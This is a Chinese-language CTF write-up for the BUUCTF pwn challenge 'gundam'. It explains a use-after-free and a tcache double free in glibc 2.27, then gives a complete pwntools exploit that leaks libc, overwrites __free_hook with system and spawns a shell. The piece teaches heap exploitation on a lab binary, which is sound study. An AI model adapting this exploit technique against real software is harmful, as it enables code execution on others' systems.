BUUCTF-gundam
[BUUCTF] gundam
这道题主要考察的是tcache的相关漏洞利用,由于刚接触堆漏洞利用,一步一坑...,做完后心生感慨必须得写点什么记录这次的踩坑经历。
glibc 环境配置
在做pwn相关题目时需要保持本地和远程机器环境一致。对于堆题来说,libc版本不一致,各种安全机制也不尽相同,gdb调试的结果也会出现巨大差异,最终导致本地能运行的代码提交到远端机器后运行失败。
BUUCTF-gundam的环境为: ubuntu18,libc-2.27.so
为了和平台环境保持一致,我们需要修改gundam的环境为libc-2.27,因此需要用到两个工具
- glibc-all-in-one: 下载glibc环境
- patchelf: 修改可执行文件的动态库
glibc-all-in-one 安装
git clone git@github.com:matrix1001/glibc-all-in-one.git
cd glibc-all-in-one
./download 2.27-3ubuntu1_amd64
patchelf 安装
git clone git@github.com:NixOS/patchelf.git
cd patchelf
./bootstrap.sh
./configure
make
make check
sudo make install
工具下载完后执行如下命令修改gundam运行环境.
运行完后无回显,可以用ldd gundam
查看环境是否被修改成功
ps: 命令需要修改...主要看你把glibc-all-in-one安装在哪,修改为对应路径
patchelf --set-interpreter /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./gundam
patchelf --replace-needed libc.so.6 /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./gundam
patchelf --set-rpath /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./gundam
IDA代码分析
替换了几个变量的命名,看上去更加舒适...
从build函数中能得出如下信息:
- s是个结构体,姑且叫它gundam,大概格式是这样
struct gundam { int flag; // 中间缺了4字节,可能是被对齐了 char *name; char type[24]; } gundam; struct gundam * factory[9]
- gundam里有个flag,标识是否被使用,在删除时会用到
- gundam的name长度为100,由read函数读入,不会被
\0
截断 - gundam的type只能是[0,1,2]中的一个
visit函数第9行判断了下gundam是否为NULL以及对应flag是否为1,打印其name和type
destroy函数要求输入一个idx,会把idx位置上的gundam的flag清零,以及free gundam的name
- free name之后没有把对应指针置0,意味着这里有个UAF漏洞
- 没有free idx位置上的gundam
- 这里的destory拼错了...(卡了我一小会,就说怎么老获取不到反馈)
blow_up会清空所有没有在使用(flag=0)的gundam, free掉对应结构体, 并把已创建的gundam数量-1, 这里释放完后对应gundam的指针被置0了,但仍然没有处理gundam->name
总体思路
- 泄露libc的基址, 计算__free_hook和system的地址
- 将__free_hook的值赋值为system地址
- 将
/bin/sh\0
传入, 调用system
在开始细化讲解每一步的操作前先简要介绍下每一步的原理。
泄露libc基址
该题在BUUCTF上的环境为libc-2.27, 而在libc-2.26引入了一种叫做tcache的机制,该机制会导致free chunk时,原本要释放的chunk先放入tcache中,相同大小的chunk放入同一个链表,链表最多存放7个,超过7个的部分放入unsorted-bin中。
对于一个chunk,我们知道它的结构体长这样
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
正在使用的chunk,从fd字段开始是我们的用户数据,而chunk被free掉之后,fd字段就指向了下一个free的chunk。假如一个chunk被free掉后,它对应的指针没有置为NULL,我们就可以在它的data[0:8]位置处读出fd的值。
在unsorted bin中,最后一个chunk会指向main_arena的固定区域,可以理解为main_arena里有个和tcache类似的数组,称它为bins,bins与main_arena的偏移是固定的,所有的unsorted bin都放在bins[1]这个链表中。
综上,如果我们获取fd,进一步获取到main_arena,由于main_arena与libc的偏移也是固定的,我们就能找出libc的地址了,也就能够找出__free_hook和system的地址。
__free_hook
void __libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}
截取了一部分free代码的片段,从片段中可以看出,如果__free_hook不为空,则会把要释放的mem作为参数,调用__free_hook。在这一题中,我们就是通过把__free_hook修改成system,再free掉一个内容为/bin/sh\0
的chunk,即可获得shell
编写exp
基本框架
from pwn import *
context.log_level = 'debug'
file_path = '/home/kali/Desktop/ctf/pwn/gundam/gundam'
libc_path = '/home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
io = process([file_path])
# io = remote('node4.buuoj.cn', 26035)
libc = ELF(libc_path)
def build(name):
io.sendlineafter("Your choice : ", "1")
io.sendlineafter("gundam :", name)
io.sendlineafter("The type of the gundam :", "0")
def visit():
io.sendlineafter("choice : ", "2")
def destroy(idx):
io.sendlineafter("choice : ","3")
io.sendlineafter("Destory:", str(idx))
def blow_up():
io.sendlineafter("choice : ", "4")
泄露libc基址
tcache第8个free掉的bin会放入unsorted bins,我们可以先创建9个高达,再释放8个,最后一个gundam被destroy后会加入unsorted bin,而destroy gundam时没有对gundam->name指针置0,因此可以读出它的内容,这里多创建一个是为了防止和top chunk合并。
for i in range(9):
build(b'a' * 7)
for i in range(8):
destroy(i)
用gdb调试一下,看看现在unsorted bin和libc的距离有多远
由于此时unsorted bin中只有一个chunk,因此该chunk的fd指针直接指向bins[1],而它与main_arena的偏移固定,main_arena与libc的偏移固定,因此fd与libc的基址偏移就是固定的
从图中可以算出fd到libc的地址距离为0x00007fe840b9bca0 - 0x7fe8407b0000 = 0x3ebca0
接下来,我们可以通过destroy后没有把相关指针置0的漏洞,读取出unsorted bin中的内容,并计算出__free_hook与system的地址。此时unsorted bin应该是idx=7的gundam对应的chunk
visit()
leak = u64(io.recvuntil(b'Type[7]', drop=True)[-6:].ljust(8, b'\0'))
libc_base = leak - 0x3ebca0
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
print(hex(leak))
print(hex(libc_base))
print(hex(system_addr))
UAF漏洞利用
泄露完我们要的函数地址后,该如何把它们修改为想要的值呢,这里就不得不提到tcache对于free后的chunk的插入方式。
对于正常的chunk来说,tcache采用头插法,LIFO
用伪代码标识就是
void insert(chunk* node) {
node->fd = chunk[idx]->fd;
chunk[idx]->fd = node;
}
此时如果tache中只有一个chunk,而我们将它free了两次,那么就会出现chunk的fd指向自己的现象
这种现象会导致,我们连续两次申请内存,都会申请到同一个chunk!!!,也就是说,当我们第一次申请到chunk之后,我们可以自定义这个chunk的内容,修改它的fd指针。
还记得我们之前想要做什么吗,把__free_hook的地址修改为system。在第一次申请这个chunk时,我们把它的fd指针指向__free_hook, 第二次申请无事发生,第三次申请malloc时,我们申请到的内存块就是__free_hook的内存空间,此时我们只需要写入system的地址即可完成修改。
destroy(2)
destroy(1)
destroy(0) # gundam不能超过9, 我们后面一共需要__free_hook, system, /bin/sh\0三个值,因此这里释放3个gundam
destroy(0) # 形成循环
blow_up() # 释放gundam, 对应指针置0
build(p64(free_hook_addr)) # 第一次申请chunk, 把fd指针改为free_hook_addr
build(b'/bin/sh\0') # 第二次申请,无事发生...,不如直接把/bin/sh\0写入这个chunk
build(p64(system_addr)) # 第三次申请,此时获取到的内存块是指向__free_hook的, 等同于*__free_hook = system
形成循环后,gdb查看bins
修改system后,gdb查看free_hook
所有的条件都已经具备,我们只需要调用__free_hook, 即释放一个含有/bin/sh\0
的chunk就能实现system('/bin/sh')
destroy(1)
io.interactive()
完整exploit
from pwn import *
context.log_level = 'debug'
file_path = '/home/kali/Desktop/ctf/pwn/gundam/gundam'
libc_path = '/home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
io = process([file_path])
# io = remote('node4.buuoj.cn', 26035)
libc = ELF(libc_path)
def build(name):
io.sendlineafter("Your choice : ", "1")
io.sendlineafter("gundam :", name)
io.sendlineafter("The type of the gundam :", "0")
def visit():
io.sendlineafter("choice : ", "2")
def destroy(idx):
io.sendlineafter("choice : ","3")
io.sendlineafter("Destory:", str(idx))
def blow_up():
io.sendlineafter("choice : ", "4")
for i in range(9):
build(b'a' * 7)
for i in range(8):
destroy(i)
blow_up()
for i in range(8):
build(b'a' * 7)
visit()
leak = u64(io.recvuntil(b'Type[7]', drop=True)[-6:].ljust(8, b'\0'))
libc_base = leak - 0x3ebca0
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
print(hex(leak))
print(hex(libc_base))
print(hex(system_addr))
destroy(2)
destroy(1)
destroy(0)
destroy(0)
blow_up()
build(p64(free_hook_addr))
build(b'/bin/sh\0')
build(p64(system_addr))
destroy(1)
io.interactive()
总结
-
环境问题真坑。。。
-
UAF威力巨大,通过没有置0但free掉的指针,我们能获取fd,进而读取libc地址
-
tcache头插法导致循环,使我们能直接控制chunk内容,实现任意写. ps: glibc-2.28修复了这个漏洞,且用且珍惜
参考文献
https://mp.weixin.qq.com/s/UMUUP2G6jA0YDT-xauNvnQ
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/